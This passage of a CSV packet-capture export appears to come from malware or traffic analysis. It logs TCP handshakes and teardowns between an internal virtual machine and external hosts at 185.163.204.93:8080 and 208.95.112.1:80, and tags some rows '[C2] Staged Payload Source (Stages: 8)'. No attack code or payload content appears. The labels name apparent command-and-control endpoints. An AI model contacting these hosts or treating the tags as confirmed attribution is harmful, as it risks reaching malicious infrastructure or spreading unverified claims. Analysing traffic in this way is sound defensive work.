\"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 38450, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41802, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50144, \"\"dport\"\": 8080, \"\"seq\"\": 1125559096, \"\"ack\"\": 2135233062, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49517, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-04-29 14:31:44.197120,106,TCP 185.163.204.93:8080 -> 192.168.122.168:50144,185.163.204.93,192.168.122.168,8080,50144,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2135233062 Ack=1125559097,5254007bb792525400577f94080045000034a96440004006d00db9a3cc5dc0a87aa81f90c3e07f4512264316ab3980100053c17800000101050a4316ab384316ab39,\"RT.{..RT.W....E..4.d@.@..\n...]..z......E.&C..9...S.x.....\nC..8C..9\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 43364, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 53261, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50144, \"\"seq\"\": 2135233062, \"\"ack\"\": 1125559097, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1125559096, 1125559097))]\"\"}}]\"\n2026-04-29 14:31:47.033002,107,TCP 208.95.112.1:80 -> 192.168.122.168:50145,208.95.112.1,192.168.122.168,80,50145,TCP,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=3425078368 Ack=1823256197,5254007bb792525400577f94080045000028daf140004006e42cd05f7001c0a87aa80050c3e1cc268c606cacae85501100537bcc0000,\"RT.{..RT.W....E..(..@.@..,._p...z..P...&.`l...P..S{...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 56049, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58412, \"\"src\"\": \"\"208.95.112.1\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50145, \"\"seq\"\": 3425078368, \"\"ack\"\": 1823256197, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 83, \"\"chksum\"\": 31692, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:31:47.033208,108,TCP 192.168.122.168:50145 -> 208.95.112.1:80,192.168.122.168,208.95.112.1,50145,80,TCP,Internal,Private Network,,,,,,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,A,,,Ether > IP > TCP,3,TCP A Seq=1823256197 Ack=3425078369,525400577f945254007bb79208004500002806e7400080067837c0a87aa8d05f7001c3e100506cacae85cc268c61501004017bcc0000,RT.W..RT.{....E..(..@...x7..z.._p....Pl....&.aP...{...,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1767, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30775, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"208.95.112.1\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50145, \"\"dport\"\": 80, \"\"seq\"\": 1823256197, \"\"ack\"\": 3425078369, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1025, \"\"chksum\"\": 31692, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:31:54.292149,109,TCP 192.168.122.168:50144 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50144,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP > HTTP > Raw,5,TCP A Seq=1125559096 Ack=2135233062,525400577f945254007bb792080045000029963340008006a349c0a87aa8b9a3cc5dc3e01f904316ab387f45122650108000c16d000000,\u0000,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 38451, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41801, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50144, \"\"dport\"\": 8080, \"\"seq\"\": 1125559096, \"\"ack\"\": 2135233062, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49517, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-04-29 14:31:54.292182,110,TCP 185.163.204.93:8080 -> 192.168.122.168:50144,185.163.204.93,192.168.122.168,8080,50144,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2135233062 Ack=1125559097,5254007bb792525400577f94080045000034a96540004006d00cb9a3cc5dc0a87aa81f90c3e07f4512264316ab3980100053c17800000101050a4316ab384316ab39,\"RT.{..RT.W....E..4.e@.@......]..z......E.&C..9...S.x.....\nC..8C..9\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 43365, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 53260, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50144, \"\"seq\"\": 2135233062, \"\"ack\"\": 1125559097, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1125559096, 1125559097))]\"\"}}]\"\n2026-04-29 14:31:58.084023,111,TCP 185.163.204.93:8080 -> 192.168.122.168:50144,185.163.204.93,192.168.122.168,8080,50144,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=2135233062 Ack=1125559097,5254007bb792525400577f94080045000028a96640004006d017b9a3cc5dc0a87aa81f90c3e07f4512264316ab3950110053c16c0000,RT.{..RT.W....E..(.f@.@......]..z......E.&C..9P..S.l..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 43366, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 53271, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50144, \"\"seq\"\": 2135233062, \"\"ack\"\": 1125559097, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 83, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:31:58.084240,112,TCP 192.168.122.168:50144 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50144,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=1125559097 Ack=2135233063,525400577f945254007bb792080045000028963440008006a349c0a87aa8b9a3cc5dc3e01f904316ab397f45122750108000c16c0000,RT.W..RT.{....E..(.4@....I..z....]....C..9.E.'P....l..,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 38452, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41801, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50144, \"\"dport\"\": 8080, \"\"seq\"\": 1125559097, \"\"ack\"\": 2135233063, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:31:58.140543,113,TCP 192.168.122.168:50144 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50144,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,FA,,,Ether > IP > TCP,3,TCP FA Seq=1125559097 Ack=2135233063,525400577f945254007bb792080045000028963540008006a348c0a87aa8b9a3cc5dc3e01f904316ab397f45122750118000c16c0000,RT.W..RT.{....E..(.5@....H..z....]....C..9.E.'P....l..,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 38453, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41800, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50144, \"\"dport\"\": 8080, \"\"seq\"\": 1125559097, \"\"ack\"\": 2135233063, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:31:58.140578,114,TCP 185.163.204.93:8080 -> 192.168.122.168:50144,185.163.204.93,192.168.122.168,8080,50144,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2135233063 Ack=1125559098,5254007bb792525400577f94080045000028000040004006797eb9a3cc5dc0a87aa81f90c3e07f4512274316ab3a501000538b010000,RT.{..RT.W....E..(..@.@.y~...]..z......E.'C..:P..S....,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 31102, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50144, \"\"seq\"\": 2135233063, \"\"ack\"\": 1125559098, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 35585, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:31:58.167541,115,TCP 192.168.122.168:50161 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50161,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,S,,,Ether > IP > TCP,3,TCP S Seq=2775483791 Ack=0,525400577f945254007bb792080045000034963640008006a33bc0a87aa8b9a3cc5dc3f11f90a56e858f000000008002ffffc1780000020405b40103030701010402,RT.W..RT.{....E..4.6@....;..z....].....n...........x..............,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 38454, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41787, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50161, \"\"dport\"\": 8080, \"\"seq\"\": 2775483791, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 65535, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 7), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-04-29 14:31:58.167587,116,TCP 185.163.204.93:8080 -> 192.168.122.168:50161,185.163.204.93,192.168.122.168,8080,50161,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=199973462 Ack=2775483792,5254007bb792525400577f940800450000340000400040067972b9a3cc5dc0a87aa81f90c3f10beb5a56a56e85908012a564c1780000020405b40101040201030309,RT.{..RT.W....E..4..@.@.yr...]..z.......ZV.n.....d.x.............\t,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 31090, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50161, \"\"seq\"\": 199973462, \"\"ack\"\": 2775483792, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 42340, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 9)]\"\"}}]\"\n2026-04-29 14:31:58.167700,117,TCP 192.168.122.168:50161 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50161,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=2775483792 Ack=199973463,525400577f945254007bb792080045000028963740008006a346c0a87aa8b9a3cc5dc3f11f90a56e85900beb5a5750108000c16c0000,RT.W..RT.{....E..(.7@....F..z....].....n....ZWP....l..,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 38455, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41798, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50161, \"\"dport\"\": 8080, \"\"seq\"\": 2775483792, \"\"ack\"\": 199973463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:31:58.401279,118,TCP 192.168.122.168:50145 -> 208.95.112.1:80,192.168.122.168,208.95.112.1,50145,80,TCP,Internal,Private Network,,,,,,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,FA,,,Ether > IP > TCP,3,TCP FA Seq=1823256197 Ack=3425078369,525400577f945254007bb79208004500002806e8400080067836c0a87aa8d05f7001c3e100506cacae85cc268c61501104017bcc0000,RT.W..RT.{....E..(..@...x6..z.._p....Pl....&.aP...{...,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1768, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30774, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"208.95.112.1\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50145, \"\"dport\"\": 80, \"\"seq\"\": 1823256197, \"\"ack\"\": 3425078369, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1025, \"\"chksum\"\": 31692, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:31:58.401311,119,TCP 208.95.112.1:80 -> 192.168.122.168:50145,208.95.112.1,192.168.122.168,80,50145,TCP,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3425078369 Ack=1823256198,5254007bb792525400577f94080045000028000040004006bf1ed05f7001c0a87aa80050c3e1cc268c616cacae8650100053fbe20000,RT.{..RT.W....E..(..@.@...._p...z..P...&.al...P..S....,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 48926, \"\"src\"\": \"\"208.95.112.1\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50145, \"\"seq\"\": 3425078369, \"\"ack\"\": 1823256198, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 64482, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:31:58.657902,120,TCP 192.168.122.168:50162 -> 208.95.112.1:80,192.168.122.168,208.95.112.1,50162,80,TCP,Internal,Private Network,,,,,,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,S,,,Ether > IP > TCP,3,TCP S Seq=3346682245 Ack=0,525400577f945254007bb79208004500003406e9400080067829c0a87aa8d05f7001c3f20050c77a5185000000008002faf07bd80000020405b40103030801010402,RT.W..RT.{....E..4..@...x)..z.._p....P.zQ.........{...............,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1769, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30761, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"208.95.112.1\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50162, \"\"dport\"\": 80, \"\"seq\"\": 3346682245, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 31704, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-04-29 14:31:58.657953,121,TCP 208.95.112.1:80 -> 192.168.122.168:50162,208.95.112.1,192.168.122.168,80,50162,TCP,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=527920616 Ack=3346682246,5254007bb792525400577f94080045000034000040004006bf12d05f7001c0a87aa80050c3f21f776de8c77a51868012a5647bd80000020405b40101040201030309,RT.{..RT.W....E..4..@.@...._p...z..P...wm..zQ....d{..............\t,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 48914, \"\"src\"\": \"\"208.95.112.1\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50162, \"\"seq\"\": 527920616, \"\"ack\"\": 3346682246, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 42340, \"\"chksum\"\": 31704, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 9)]\"\"}}]\"\n2026-04-29 14:31:58.658083,122,TCP 192.168.122.168:50162 -> 208.95.112.1:80,192.168.122.168,208.95.112.1,50162,80,TCP,Internal,Private Network,,,,,,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,A,,,Ether > IP > TCP,3,TCP A Seq=3346682246 Ack=527920617,525400577f945254007bb79208004500002806ea400080067834c0a87aa8d05f7001c3f20050c77a51861f776de9501020147bcc0000,RT.W..RT.{....E..(..@...x4..z.._p....P.zQ..wm.P. .{...,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1770, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30772, \"\"src\"\": \"\"192.168.122.168\"\", 